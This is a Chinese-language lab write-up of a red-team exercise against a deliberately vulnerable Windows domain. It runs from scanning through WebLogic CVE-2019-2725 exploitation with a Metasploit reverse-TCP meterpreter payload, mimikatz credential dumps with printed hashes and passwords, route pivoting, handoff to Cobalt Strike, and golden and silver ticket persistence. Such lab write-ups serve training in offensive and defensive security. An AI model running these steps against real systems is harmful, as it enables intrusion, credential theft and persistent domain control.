环境配置

环境说明

内网网段:10.10.10.1/24

DMZ网段:192.168.111.1/24

测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)

防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):

deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24

配置信息

DC

IP:10.10.10.10 OS:Windows 2012(64)

应用:AD域

WEB

IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)

应用:Weblogic 10.3.6 MSSQL 2008

PC

IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32)

应用:

攻击机

IP:192.168.111.1 OS:Windows 10(64)

IP:192.168.111.11 OS:Parrot(64)

image-20240622210728382

image-20240622214931742

设置好这两个网卡之后就开始给虚拟机分配

Web靶机

image-20241112130239589

image-20241112130316473

用户登录账号密码为:de1ay、1qaz@WSX

管理员账号密码为:administrator、1qaz@WSX

DC靶机

image-20241112130403392

PC靶机

image-20241112130658110

这里的另一张网卡就是默认了似乎

然后Web服务器靶机登录的时候需要恢复到快照三

呃呃但是他恢复的时候会有点问题,乱点两下他又好了

要恢复快照的原因是他现在的状态不能用这个账号密码登录

现在就web靶机把一些服务开起来

先进这里然后运行其startWebLogic脚本开启服务,以管理员身份运行

C:\Oracle\Middleware\user_projects\domains\base_domain\bin

开启完之后就可以开始渗透了

考点描述

本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取(理论知识:Windows认证)
  3. Access Token利用(MSSQL利用)
  4. WMI利用
  5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
  6. 域内信息收集
  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
  8. 域凭证收集
  9. 后门技术(黄金票据/白银票据/Sid History/MOF)

信息搜集

这里一开始ping了一下web靶机发现ping不同,icmp的流量被ban掉了,不知道是不是正常现象,看了网上文章有关防火墙,有直接不关防火墙的打法,那这里就不关吧

arp-scan -l

扫一下,发现能发现存活主机,arp流量能通

image-20241112161255261

┌──(root㉿kali)-[/home/kali/Desktop]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:64:1c:87, IPv4: 192.168.111.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.111.1 00:50:56:c0:00:08 VMware, Inc.
192.168.111.2 00:50:56:fc:26:ec VMware, Inc.
192.168.111.80 00:0c:29:c9:cc:6d VMware, Inc.
192.168.111.254 00:50:56:fd:9b:2a VMware, Inc.

然后用nmap来扫描一下web服务,因为存在防火墙所以指定扫描方式来绕一下,可以用-Pn跳过ping扫描或者-sS使用SYN的方式来扫描

nmap -Pn -v 192.168.111.80

扫出如下的服务

image-20241112184702154

PORT      STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server
7001/tcp open afs3-callback
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
MAC Address: 00:0C:29:C9:CC:6D (VMware)

漏洞探测利用

1433就表示存在mssql服务,7001表示的是weblogic服务,3389就是远程连接的服务

额但是他这里ban了我的流量,导致我的fscan和nmap都无法进行漏扫,那就网上找一个weblogic漏扫工具:https://github.com/dr0op/WeblogicScan

而且访问他的7001服务返回的也是404页面,不知道是不是正常的,后面看了一下似乎就是这样的

python WeblogicScan.py 192.168.111.80 7001

image-20241112191417835

然后是查到了不少漏洞,这里选择CVE-2019-2725来利用,该漏洞是一个xml反序列化漏洞,可以看这篇的复现文章:https://www.cnblogs.com/confidant/p/15464877.html,能访问/_async/AsyncResponseService这个路由就是存在漏洞的

image-20241112192743424

我打算用msf一把梭了

先search一下看有没有这个cve

msf6 > search CVE-2019-2725

image-20241112192922860

发现是有的,那就使用这个exp

msf6 > use exploit/multi/misc/weblogic_deserialize_asyncresponseservice

然后show options看一下paload怎么设置

image-20241112193106546

此时我们是知道对面的系统的,所以要改一下设置,payload改成Windows下的反弹shell

msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_tcp

然后

show targets

看一下有哪些目标系统配置可选

image-20241112193530650

我们的目标机器是Windows,所以要设置为target 1

set target 1

然后再set一下payload的监听地址

msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST 192.168.111.128

再指定一下要打的靶机地址

msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set RHOSTS 192.168.111.80

再执行run运行exp就可以拿到一个meterpreter

image-20241112200737018

打内网

直接用getsystem提权发现不行

image-20241112201304099

学到一个直接进程迁移到一个NT AUTHORITY\SYSTEM权限的进程,就能利用mimikatz导出密码了

migrate 2644
load kiwi
creds_all
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1 LM
-------- ------ ---- ---- --
Administrator DE1AY 161cff084477fe596a5db8187 d669f3bccf14bf77d64667ec6 f67ce55ac831223dc187b8085
4498a24 5aae32d2d10039d fe1d9df
WEB$ DE1AY 73805069e2c7227f110772875 b4c99cab2eebaf54cbd0076ec
f1b0e41 4869f3ecf579295
mssql DE1AY 161cff084477fe596a5db8187 d669f3bccf14bf77d64667ec6 f67ce55ac831223dc187b8085
4498a24 5aae32d2d10039d fe1d9df

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator DE1AY 1qaz@WSX
WEB$ DE1AY `rivzEuKjb1zX_:+MFm ),F:+Z&;D edXt,h`aQX6m"CA&r(^+k^/wBEl0C&>4+2>jy:mGgA?'HKE_r
xjdU$#ZHNhx/32t!t;c5\lo .SMii3d=&)BB\0bo$
mssql DE1AY 1qaz@WSX

tspkg credentials
=================

Username Domain Password
-------- ------ --------
Administrator DE1AY 1qaz@WSX
WEB$ DE1AY `rivzEuKjb1zX_:+MFm ),F:+Z&;D edXt,h`aQX6m"CA&r(^+k^/wBEl0C&>4+2>jy:mGgA?'HKE_r
xjdU$#ZHNhx/32t!t;c5\lo .SMii3d=&)BB\0bo$
mssql DE1AY 1qaz@WSX

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator de1ay.com 1qaz@WSX
WEB$ de1ay.com `rivzEuKjb1zX_:+MFm ),F:+Z&;D edXt,h`aQX6m"CA&r(^+k^/wBEl0C&>4+2>jy:mGgA?'HK
E_rxjdU$#ZHNhx/32t!t;c5\lo .SMii3d=&)BB\0bo$
mssql DE1AY.COM 1qaz@WSX
web$ de1ay.com `rivzEuKjb1zX_:+MFm ),F:+Z&;D edXt,h`aQX6m"CA&r(^+k^/wBEl0C&>4+2>jy:mGgA?'HK
E_rxjdU$#ZHNhx/32t!t;c5\lo .SMii3d=&)BB\0bo$
web$ DE1AY.COM `rivzEuKjb1zX_:+MFm ),F:+Z&;D edXt,h`aQX6m"CA&r(^+k^/wBEl0C&>4+2>jy:mGgA?'HK
E_rxjdU$#ZHNhx/32t!t;c5\lo .SMii3d=&)BB\0bo$

然后还可以利用

run post/windows/gather/enum_applications

查看有哪些应用

MSF渗透打法

这里先尝试一下msf直接打看能不能拿下

首先shell命令进入Windows的cmd,然后就是域信息搜集

net view

但是这里一直会报6118的错误,先ipconfig看一下自己ip吧

image-20241112204754776

background出来hashdump拿一下哈希

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后添加一下路由转发让我们能够访问内网

run get_local_subnets  #查看主机所处的所有网段
run autoroute -s 10.10.10.0/24 #添加去往目标网段的路由
#或者
run post/multi/manage/autoroute #自动添加路由

image-20241112205124431

添加了转发之后用msf的端口扫描模块来扫

use auxiliary/scanner/portscan/tcp
set rhosts 10.10.10.201 10.10.10.80 #这里偷懒一下直接用指定ip扫了,因为怕扫的太慢但其实根本扫不了。。

ok然后端口扫描扫不了,被直接劝退了

image-20241112210714394

那就用msf派生cs来打吧

msf派生cs来打

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #两边的payload协议一定要对应的
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true
set lhost xxxx #cobaltstrike服务端ip
set lport xxxx #cobaltstrike服务端监听的端口
set session 1 #这里是当前获得的session的id
exploit

image-20241112212124390

wocao有点红温了,我每run一次payload他在web靶机生成一次记事本,但是弹不过来

然后我去看了一下cs的通信原理,发现是beacon http写错了,我把teamserver换到本地就行了,不想改msf的payload了

image-20241112220605474

这里的beacons的地址应该是teamserver的地址,cs的通信原理图

image-20241112220716993

net view还是会报错,报错内容如下:

image-20241112220859254

然后cs提个权

image-20241112221356831

cs一提就成功了这么猛

然后也可以常规hashdump和run mimikatz一下,不过前面msf都搞过了就不再收集了

image-20241112222038970

不过这里360没有提示就很奇怪,看别人都是有360告警的

好了又出问题了,给我劝退了直接,net view不了导致发现不了其他主机,也就横向移动不了了,逆天,恢复快照的原因可能是因为这个

那没办法了后面只能看看别人文章实操不了了

横向移动就是拿前面的凭据然后直接psexec就可以了

权限维持

这个靶场主要的新知识是利用黄金票据和白银票据来做权限维持

这部分就根据前面kerberos攻击专题,根据制作票据所需要的信息来进行收集,然后直接用cs进行制作即可

黄金票据制作

  1. 首先需要在DC也就是域控机器上hashdump出krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
  2. 然后需要域控sid,这个mimikatz可以抓取到

然后我们就可以在cs这里填上对应的信息,在web主机生成黄金票据

image-20241112225104736

user就是你要伪造的用户,domain就是当前所在域

白银票据

白银票据还需要一个NTLM-hash,我的cs不知道为什么没有生成白银票据的模块,这里截一下其他师傅文章里的图

image-20241112230021371

两个票据最终生成之后都是可以访问域控的c盘

shell dir \\10.10.10.10\c$

参考

https://www.cnblogs.com/bktown/p/16904232.html

https://xz.aliyun.com/t/11676?time__1311=Cq0xRQIxnD0Dlxx2QDuYLmK0Ki%3DcUtw5ox